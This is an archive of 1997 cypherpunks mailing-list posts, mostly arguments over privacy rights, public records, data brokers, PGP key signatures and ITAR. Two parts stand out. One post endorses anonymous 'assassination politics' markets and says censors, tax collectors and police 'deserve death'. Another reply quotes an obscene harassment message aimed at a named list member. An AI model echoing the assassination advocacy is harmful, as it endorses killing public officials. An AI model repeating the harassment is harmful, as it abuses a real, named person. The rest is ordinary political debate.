on it, but waive the distribution restrictions. This is granted. 

Further, if you are making money off my information, and if that
information was not publically available, but you sell it, should I not
have the right to get a slice of your profits - assuming I even agree to
let you sell it?

The question is, should you have the right to collect info that I do not
relese to others publically, and make it public.  After all, if not for
protecting our privacy, what reasons would we need encryption?  What
reasons would we have for the existance of cypherpunks were not cyphers
ultimatly useful in obtaining privacy?  For the coolness of their
mathematical properties only?  For signatures only? Not fucking likely. 
Ask yourself why you favor the use cyphers, Tim.  If you don't say
"privacy" then get the fuck off this list.  Ditto for Declan.  (Of course,
this can't apply to the NSA since they have a different agenda on this
list, but that too is a given.) :)

> So, Ray, count me as "scum." Maybe Vulis will loan you his robot insulter
> and you can send ASCII art to the list.

I must admit, I am surprised at you, but no I don't robospam folks, and I
wouldn't borrow one from Vulis.

Perhaps you can turn around and say "Ray's on the rag" or "gone loony",
but I do feel strongly that information that I share with others should be
kept private unless I say so.  Ditto for "private" email.  (Quotes placed
to indicate how easily it is for bad folks to snoop unencrypted email.)

Perhaps I may be overly sensitive to the issue because Vulis (you did
bring his name up, so live with it) posted whatever public information he
could gain in a nice easily digestible package - much like Tim's Dossier
Service could and threated to send my employers weird email, and in the
same postings posted racist crap, but that was only PUBLICALLY available
info.  I retaliated by doing the same, but imagine how pissed I would be
were this info that wasn't publically available - like credit card
numbers, tax return info, etc... 

So yes, you can say, you need to live in a society that is free and open,
and yes, I can disagree with you and say you're scum for thinking that you
can freely collect info I consider private and then sell it.  It is after
all my right to disagree with this, and my right to freely say that I do. 

And of course this is a publically posted message, so go ahead and place
it in your dossier. :)

<RANT OFF>

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 14 Jun 1997 04:32:35 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199706131810.LAA05807@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970613140608.33842A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Mix wrote:
I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. Maya likes to lick the semen-shit mixture that 
> accumulates in the crack of his mother's ass.
> 
>            /_/\/\
>            \_\  /
>            /_/  \
>            \_\/\ \ Tim C. Maya
>               \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chip Mefford <cmefford@avwashington.com>
Date: Sat, 14 Jun 1997 03:09:55 +0800
To: cypherpunks@toad.com
Subject: Life inside the Beltway
Message-ID: <v0300780dafc74c84bcd4@[207.79.65.35]>
MIME-Version: 1.0
Content-Type: text/plain




New technology for the cops. It brings tears of joy to
my eyes to think of all the children that this new
technology will save.




-------------begin included text--------------------------

Alexandria police have a new high-tech tool to help
them catch fugitives and find missing people.
Police officials last week unveiled new digital
scanners and cellular transmitters that allow
cruisers to transmit photographs in less than a
minute. That means an officer can scan in a family
photo of a lost child and send it to all active
patrol cars nearly instantly.

The technology also lets the police send photos to
the National Center for Missing and Exploited
Children, which can then pass information on to
other police departments.

"In the search for a missing child, time is the
enemy," said Ernie Allen, president of the
Arlington-based center. "The more quickly we can
provide a child's image, the greater the likelihood
we can find the child."

Alexandria and College Station, Tex., are the first
two police departments in the country to get this
image technology, officials said. Although the two
departments use different computer systems, they
are able to send pictures to each other via a
computer center in Florida.

At a demonstration last week, a College Station car
sent a photo to an Alexandria cruiser in about 40
seconds, and a photo from the National Center took
about the same time. It takes the same amount of
time to send a photo to one car as to broadcast it
to all of the cruisers, allowing the department to
blanket an area with images immediately, officials
said.

The same technology will allow Alexandria to send
photos to neighboring jurisdictions as soon as they
 get computers that receive digital images. Federal
Highway Administration officials said they expect
this kind of system to become widely available over
the next two years.
 Alexandria is spending $800,000 to outfit its
 patrol cars with the new scanners and portable
computers that can run criminal record checks.
Adding the scanning technology "is an opportunity
we just couldn't miss," said Lt. Michael Clancey,
who commands the vice-narcotics division.

 Most of the money for the computers -- $500,000 --
comes from two federal grants and assets seized
from criminals, officials said. The department is
buying 82 computers, ensuring that most on-duty
cars will have them.

 "Alexandria has been on the forefront of creative
development in the use of technology," said Daniel
 Rosenblatt, director of the International
 Association of Chiefs of Police.

 (c) Copyright 1997 The Washington Post Company
By Brooke A. Masters
--------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 14 Jun 1997 03:04:10 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613120008.13113J-100000@cp.pathfinder.com>
Message-ID: <97Jun13.142726edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> Get a clue. I did:
> 
>         Of course there's an essential right to privacy from the
>    government. (Beware government databases: Nazis used census data in
>    Germany and Holland to track down and eliminate undesirables.)

Today the Nazi's would simply pay Experian (was TRW) for their databases. 
I think the IRS already does. 

Private databases collect a lot of data that I am not asked about, or from
government, or that I am required to turn over (e.g. Government requires a
taxpayer ID number to open a bank account, so I can't shop for a bank that
offers privacy as an option, but they will then turn around and give the
information to the databasers).  Since the Government is the origin of the
Social Security Number, and requires its use in many instances, there
should be a law that I should be able to remove any government-required
information removed from any non-governmental-required database.  This may
restrict my access to things like credit (they have the right to say, no
SSN, no credit, which is where I differ with most privacy advocates), but
I should have that choice.

Right now, the lines are too fuzzy.  I think government and private
databases should be disjoint.  Otherwise "private databases" are just a
way for government to evade any restriction on collection or use.

And do they have the right to hold stale or inaccurate data?  And can they
use fraudulent means of obtaining it, or archive data obtained by such
means?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 14 Jun 1997 03:04:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03007874afc71e205651@[207.94.249.152]>
Message-ID: <Pine.GSO.3.95.970613143031.25292E-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Bill Frantz wrote:

> >pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
> >sig                        John Doe   (0xFFFFFFFF)
> >sig                        Mary Jane  (0xAAAAAAAA)
> >sig                        Tom Thumb  (0x11111111)
> >sig                        Tiny Tim   (0xCCCCCCCC)
> >aka                        John Doe john.doe@who-is-it.com
> >sig                        John Doe   (0xFFFFFFFF)
> >
> >Since John Doe is the only one who could sign the key with the new aka one
> >can assume that the aka is as valid as the original userid.
> 
> So if John Doe wants to be known as "president@whitehouse.gov" or "Tim May
> <tcmay@got.net>" all he has to do is change the field, and upload the
> changed key to the key servers, and all the signatures should remain good?

Well, no, not really.  See, the way PGP handles keys (at least the RSA
keys) makes it very difficult to remove an id once it's hit a keyserver.

Oh yeah, a signature also encompasses the key-id that you sign when you
sign the key.  So the signatures would fail if the key-id they referred to
was drastically changed...

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 08:19:17 +0800
To: Pilgrim <nfn04017@gator.naples.net>
Subject: Re: Democratic Assassination
In-Reply-To: <l03102800afc6405bc170@[204.210.206.39]>
Message-ID: <Pine.LNX.3.91.970613141144.197A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> There is something fundamentally wrong with a society that is built upon
> the notion that those people who do and say unpopular things deserve death.

Not necessarily. No-one here would begin to suggest that AP *should* be 
used for censorship purposes, to say that AP is a censorship tool is a 
misunderstanding based on that old enemy material determinism. A gun can 
be a censorship tool, a knife can be a censorship tool, hell just about 
any blunt instrument can be a censorship tool too. I believe that those 
who censor, tax, imprison unlawfully and persecute deserve death. Of 
course some people may see this differently, I refer in particular to 
Peter Trei who has said on several occasions he objects to execution in 
nearly all circumstances (I say nearly all because I don`t know his 
position on assasination when it is the only way to remove a dictator or 
similar), I can understand his objection, and although I often talk of 
the uses of AP and executing government criminals I do see problems with 
the total irrevocability of the death penalty, it`s just that I see the 
burden of proof in cases such as polticians and police etc. as being so 
totally overwhelming as to preclude even a small doubt, let alone 
"reasonable doubt", whatever you define that as being, YMMV.

> Yet that is exactly what a system of "democratic" assassinations would do,
> enable a large group of people to intimidate and subvert a smaller group of
> people.

Of course, but once again I refer you to my example of other weapons, 
guns can be used by a large group of people to subvert a smaller group.
AP is essentially, just as are any other more direct form of anonymous 
contract killings, another weapon, its moral worth is defined by the way 
in which it is used, not by the system itself.

> So, for the sake of argument, let this system of anonymous democratic
> assassination come to pass...then what? Utopia? Maybe....

No, but maybe anarchy, maybe stable minarchist government, the whole 
system is too dynamic and too difficult to predict. AP could equally lead 
to chaos, however, the fact that the current murder rate in, for example, 
the US is high but not out of control. The reason I personally think that 
AP or anonymous contract killings will not lead to chaos is based on the 
fact that it is not currently impossible to commit the perfect crime 
without digital assasination markets. If I want to kill my next door 
neighbour I can find a way to do so and make the chance of being caught 
diminishingly small, Proper Prior Planning Prevents Piss Poor Performance.
When it comes to killing say a polotician, this becomes much more 
difficult, my chances of poisoning the presidents coffee is not that good 
to say the least! AP allows the killing of public officials and can help 
to make the source of the asssasination payments untraceable (I say can 
help because although digital assasination markets can be made perfectly 
secure in terms of being untraceable, this does little good if I go out, 
drink a bottle of whisky, and tell a total stranger I am having the prime 
minister killed ;-)) Using AP (or similar systems) to kill my next door 
neighbout is inneficient and makes little sense.

> But let's say that someone comes along later, proposing a way of living
> that is radically different from the norm. Exhibiting a nasty
> characteristic that has been inherent in the human races for eons....even
> before the rise of large sprawling governments....the majority of people
> decide that they don't like this troublemaker....through the process of
> democratic assassination...this person is now dead. Forget even the shade
> of a possibility that this person may have been right...that his way of
> living ***may*** have been better than the norm. Right and wrong don't
> matter. Popularity and the "mood of the crowd" do...this person said
> somethig unpopular, and is dead because of it.
> 
> Freedom of speech?

Don`t confuse the system (which has no ethical structure to it in itself, 
it is simply a tool) with the way in which it is used. You would not say 
that a hammer is "an evil censorship tool" because I can bludgeon people 
to death with it if they say something I do not like. The scale of the 
usefulness of a system makes no difference to this.

> Let's say that a group of people suddenly become unpopular. Perhaps times
> are tough and the majority need a scapegoat. Maybe this group of people
> have been long oppressed and are finally fighting back. Through a system of
> democratized assassination....their leaders are dead....with no one willing
> to take their place (out of fear)....maybe a few other random people are
> killed just to really get these people quaking in their boots.

Read the paragraph above and substitute "the government" for "a group of 
people". This is the primary use of assasination markets, you are clearly 
however referring to the assasination of an innocuous group of people, 
say a religious order. Once again, take the paragraph above and at each 
instance of "democratized assasination" read "guns", the system is merely 
a tool, make value judgements on the people who use it incorrectly, not 
the system itself.

> Even if digital cash, anonymous remailers and strong encryption could
> enable us to set up a democratic system of assassination (which it
> couldn't)...

Expand on this please, if you believe anonymous digital assasination 
markets are not possible from a technical point of view please explain why...

> I still wouldn't want to live in a society where killing is
> democratized...I do not want to live in a society where people can
> abitrarily take a vote on whether I should live or die....

You do live in such a society, if the government decides to fuck you over 
and manages somehow to make a muder charge stick 12 randomly selected 
people can decide whether you live or die. If you say something unpopular 
you can be assasinated. 

> Just because a majority of people like an idea, does that make the idea any
> more right or any less wrong?

No, of course not, this is why democracy is an essentially flawed system. 
Indeed when I speak of minarchist state systems I see no need for 
democracy in such a system, there would be so little need for government 
that it would be sufficient to have commercial style recruitment to 
whatever remained of congress etc.

> I (and I would wager you) do not want to live in a society where it is
> dangerous...even life threatening to be unpopular, and to go against the
> flow. I know that I hold fast to ideas and beliefs which are hardly
> considered popular....the only reason I'm not socially scorned, right now,
> is because I'm very diplomatic about them....

My point exactly, you currently live in a society where holding unpopular 
views is dangerous, even life threatening. 

> 	1) He has parents, maybe even a wife and children, all of whom love him

See execution. If for example a "terrorist" blows up a building 
containing only innocent people, killing hundreds. He deserves to die, of 
course from a hedonist point of view the sorrow suffered by his wife, 
children, parents etc. would be overwhelmingly great compared with the 
combined small cold comfort felt out of revenge by the relatives of the 
initial victims, leading one to believe this would be an unjustified 
killing, I don`t hold with this.

> 	He's another human being....just like yourself...indeed, the only
> 	difference between himself and yourself is how he makes a living.

NO!, in that case we can possibly assume that TM believes in killing 
writers, or artists etc. Not so, working for the government (in an active 
capacity, as Jim said in his AP essay he would not consider the crimes of 
say a forest service grunt to be comparable with those of a police 
officer or similar) is not just a way of earning a wage, it involves 
accepting immoral laws and enforcing them, it involves persecuting people 
the government of the day happens not the like. It is not just a way of 
earning a living, see "ve vere just obeying orders"...

> And maybe...just maybe...he is just as big a victim of "The Machine" as you
> are.

This is a difficult point to even contemplate as having any basis in 
reality. Do you know any police officer (lets make that more specific 
and say DEA inspector) who is a victim? Do you know of any possibility, 
no matter how remote, that someone delegated the task of beating 
confessions out of suspects is a "victim" himself?

> Perhaps "The Machine" has manipulated you more than you realize.
> 
> Justice rarely comes out of hatred.

I agree, it is rarely productive to hate your enemy, but it is often a 
natural reaction...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 03:06:04 +0800
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Burn flag = unconstitutional
In-Reply-To: <199706130033.TAA12063@einstein.ssz.com>
Message-ID: <Pine.LNX.3.91.970613145314.197B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> >    WASHINGTON (AP) -- The House voted overwhelmingly today for a proposed
> >    constitutional amendment against flag desecration, an issue pushed by
> >    conservatives since Republicans took over Congress in 1995.
> >    
> >    The House tally, held two days before Flag Day, was 310-114.

Sigh, as we well know this is another ammendment (for another good example 
look at say the 18th) which degrades the US constitution and bill of 
rights by making the whole thing self contradictory. I now assume that 
flag burning will have penalties, and that "inciting" flag burning will 
be criminal???

All of those in the US: Time to get out the stars and stripes, some gasoline 
and the matches.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 04:40:25 +0800
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly (fwd)
In-Reply-To: <199706122248.RAA11848@einstein.ssz.com>
Message-ID: <Pine.LNX.3.91.970613145642.197C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > likes to say "Privacy is not an absolute right, but a
> > fundamental right." But in truth, privacy is not a
> > right but a preference: Some people want more of it
> > than others.
> 
> A right is not a question of popularity or amplitude, it is a question of
> existance. It is or it isn't. Some people want more guns than others
> (obvious even to you) so you seriously hold that there is no fundamental
> Constitutional right to own firearms? Or speech, we don't all want to use it
> to the same amount, we therefore don't have a right to free speech? Or (oh
> my god!) crypto, we don't all want to use it to the same degree therefore we
> don't have a right to use crypto?

No, privacy is not a right, it is most definitely a preference. If you 
allow information to become freely available then there is no way to put 
the genie back in the bottle, once information is available it requires 
restrictions on freedom of speech to stop the spread of that information, 
and restrictions on freedom of private equiment to prevent its storage 
and use. 
This is all based on freedom of speech, there is no such thing as 
"private information" in the sense of it being somehow wrong for 
unauthorised people to posess that information, it is up to you how much 
privacy you prefer and correspondingly how much effort you put into 
preventing information from becoming available.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 03:23:28 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <199706131821.NAA14221@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, William H. Geiger III wrote:

> Ray you seem to be missing the point here.

Bzzzt:
 
> Any state issued permit is public record. This includes your drivers
> license and your auto registration.

Should it include your address and phone number?

> It is imperative that in a democracy that the public know who and what the
> state is giving permits to (there whole other issue of wether the state
> should be issuing permits at all but that should be left to another
> thread).

> In a free and open society the public must be able to review the actions
> of its government.

Then we don't live in an open and free society.  Do we have open records
into what the CIA and NSA and such do? etc.?  Very few. 
 
> If Joe Sixpack has run over 20 people because he gets his kicks out of it
> and the DMV still issues him a license the public has a right to know.

But should the public know Joe's phone number and address and date of
birth?  Gee, weren't we screaming this sucks to easily accessible Texas
DMV records a few days ago?

> If the state is going to issue permits on what people can and can not do
> the it is crutial that the public can examine these records to insure that
> the state is not abusing this power.

See CIA comment above.  What of the likes of TRW, and health records?
Should these be open knowledge to anyone who is a credit card agent or
health insurance co?  If it is vital to have this info to keep the
governments in check, why does the government have privacy?  If the
government has privacy, why shouldn't we?  Neither do we, nor the
government have absolute privacy, however, the government controls the
information it deems to keep private.  Why should we not do the same?

Should detailed building plans be made available of all buildings so that
theives can look at them and break into banks more easily?  Perhaps there
are reasons some of these things are available to the public.  Perhaps
there are reasons why not all should be.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 14 Jun 1997 06:45:47 +0800
To: cypherpunks@cyberpass.net
Subject: Anonymous proxies & ITAR question
Message-ID: <199706132228.PAA07110@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



[Background]
I wanted to grab a copy of the 128 bit version of MSIE, but my ISP hasn't
enabled reverse DNS lookup, so I decided to try running through an
anonymous proxy server to scoop it and lo-and-behold, aside from being
brutally slow, it worked like a charm.

I may have the opportunity in the near future to set up a proxy server,
but this concerns me...

Under ITAR regs, if a "foreign national" was to use the server to get
access to "munitions" (sure, software kills, didn't cha know?), could I be
held in violation?

Even if all they had was circumstantial evidence, I'd really like to avoid
being indicted - puts a real kink in one's social schedule.

Your thoughts on this would be appreciated.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 14 Jun 1997 04:03:27 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <Pine.GSO.3.95.970613085334.27747U-100000@well.com>
Message-ID: <v0302097fafc750f91426@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



Awwww, Caaa'monnn.

You mean they can license handguns, but not reporters???

I think reporters, particularly the lapdog Whitehouse kind, have killed
more people in the last century than domestic handguns, don'tcha think?

Heck, now that I think of it, we should also license printing presses, and
xeroxgraphy, and computers...

... And e-mail groups!  Yeah, that's it. License e-mail groups...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 14 Jun 1997 07:03:00 +0800
To: cypherpunks@cyberpass.net
Subject: Impact of Netscape kernel holeImpact of Netscape kernel hole
Message-ID: <199706132241.PAA09924@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



It'd be nice to have more specifics about the whole situation, but
regardless - any preliminary threat assessments?  Exactly how widely
exploited do you think this has been?

Tim's post (although refuted by Marc) raises some serious issues since I
suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp

Some coherent input on the possible impact of this would be appreciated.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 14 Jun 1997 05:11:28 +0800
To: cypherpunks@toad.com
Subject: crypto page
Message-ID: <v03020986afc760aac3c1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Fri, 13 Jun 1997 13:15:56 -0700
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject:  crypto page

I am starting to create a crypto resource  page (soon to be part of mac crypto)
it is at http://www.vmeng.com/vinnie/crypto.html

Its a first crack...
if you have any (even obvious) additions I would appreciate them.


Vinnie Moscaritolo
That Crypto Guy at Apple...
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sat, 14 Jun 1997 08:12:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Ray Just doesn't get it.
Message-ID: <Pine.GUL.3.95.970613165059.3495A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Ray Arachelian <sunder@brainlink.com> wrote:

> Should detailed building plans be made available of all buildings so that
> theives can look at them and break into banks more easily? Perhaps there
> are reasons some of these things are available to the public. Perhaps
> there are reasons why not all should be.

Yeah. We'd better criminalize publishing computer security exploits, too. 
Some information is just too damn dangerous. 

If there is no public record of stuff like real estate, how are we supposed
to know who owns what? Whoever's got the biggest gun?

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6HeepNcNyVVy0jxAQH8hwIAwEO/XE6hTC2MzVkKOB8eAzyM+aI1lOAX
ialQMD8VGLSEXQb3wEuLsLHrHqNBJFeYXFD7zhHc7yKLFYhwGk+l5A==
=lvKR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sat, 14 Jun 1997 08:34:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: There's no general right to privacy -- get over it, from Netly
Message-ID: <Pine.GUL.3.95.970613165846.3560A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

William H. Geiger III <whgiii@amaranth.com> wrote:

> Well this is rather a poor example. The requirment of a census was written
> into the costitution and with good reason. Many of the government actions
> are based on demographics congressional districting is a prime example.
> 
> There is a fight going on in cogress right now as the current
> administration wants to be able to gestimate the census rather than doing
> an actuall head count so it can manipulate the figures any way it wants
> (ie change the figures in key congressional districts so they can re-draw
> them to favor their supporters).

Not that I feel strongly either way, but the other way to look at this is
that the current Congress likes its cozy little districts and likes
restricting the census to people with permanent addresses, which tends to
bias the figures in favor of suburbia.

I certainly agree with the fundamental points that censuses and districting
have always been important, and hence political[ly corrupted]. Anyone here
descended from 3/5ths people? 

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6HgHJNcNyVVy0jxAQEmsgH+IWGzDmFvmlCIKSxw26xaP4+tBRHhdRDu
BT572zIvqjQfh/4B31qOzOjjWh6cFCEREXE/9bzHaRmyOYA3YfP+EQ==
=8mJR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sat, 14 Jun 1997 08:36:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it,
Message-ID: <Pine.GUL.3.95.970613170751.3575A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Ray Arachelian wrote:
>On Thu, 12 Jun 1997, Declan McCullagh wrote:
>
>> http://pathfinder.com/netly/editorial/0,1012,1050,00.html

Pretty good article.

>> I have a confession to make: Unlike many of my
>> civil libertarian colleagues, I believe you have no
>> general right to privacy online. Sure, you have the
>> right to protect your personal data, but you shouldn't
>> be able to stop someone else from passing along that
>> information if you let it leave your computer. That's
>> your responsibility.
>
>Booooooooo! Hisssssssssss! Putting your bread and butter before your
>morals, eh? Maybe if someone would go through all your records and post
>them all over the net, you'd feel differently!

No need to go through them all. Just one record is guaranteed to set him and
his friends off.

>Declan, this truly sucks. :( I'm very disappointed in you. You are truly
>scum if you believe this.

Ray, he was talking about *rights*, not *morals*. I don't believe anyone has
an absolute *right* to privacy, but that doesn't mean I think it would be
anything short of morally abhorrent to knowingly post, say, Declan's social
security number. He has no legal or moral *right* to privacy, but it would
be morally *wrong*, and I would truly be scum, if I knowingly posted it. 

Rights are negative; morals are positive. The burden of proof is entirely
different. Journalists have a First Amendment right to be free from
government-imposed restrictions on speech, including non-criminal invasions
of privacy (some invasions of privacy can be criminal if the target is not a
public figure -- but such prosecutions are extremely rare), but some
journalists are truly scum. Others, like Declan in this case, get bashed
over misinterpretations and ideological flamers.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6Hjh5NcNyVVy0jxAQG+sAH/f0ZbXItOdKI/jOfcY9mDxU/0hBoHQVdM
XUW9xIHgKIgVzYzUrXFdmRL81Ku9IR77aJ6MEYrN5HjMNCZXusGdLg==
=u4We
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 14 Jun 1997 06:33:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>
Message-ID: <97Jun13.180309edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Fri, 13 Jun 1997, William H. Geiger III wrote:
> 
> > Any state issued permit is public record. This includes your drivers
> > license and your auto registration.
> 
> Should it include your address and phone number?
> 
> > It is imperative that in a democracy that the public know who and what the
> > state is giving permits to (there whole other issue of wether the state
> > should be issuing permits at all but that should be left to another
> > thread).

One important distinction:

If the state issues me a permit, they probably have a right to the
information pertaining to the permit, e.g. they do need the make, model,
year, and similar information about the car to issue a title or
registration.  If they are issuing state ID, they need to know that I am
me in order to issue it.  They don't need to place my mother's maiden name
into the record although I think it appears on my birth certificate, and
would cause problems since this is used as an informal password.  My
driver's license is a permit to drive, not a permit to be me.  You can
make a case for the database containing my age, but date of birth?  Much
of what appears is not necessary for the purpose stated. 

So are you making the case for having the state ask every detail about
your life and being able to place it in the licensing database, or only
answers to those questions relevant to issuing the license?






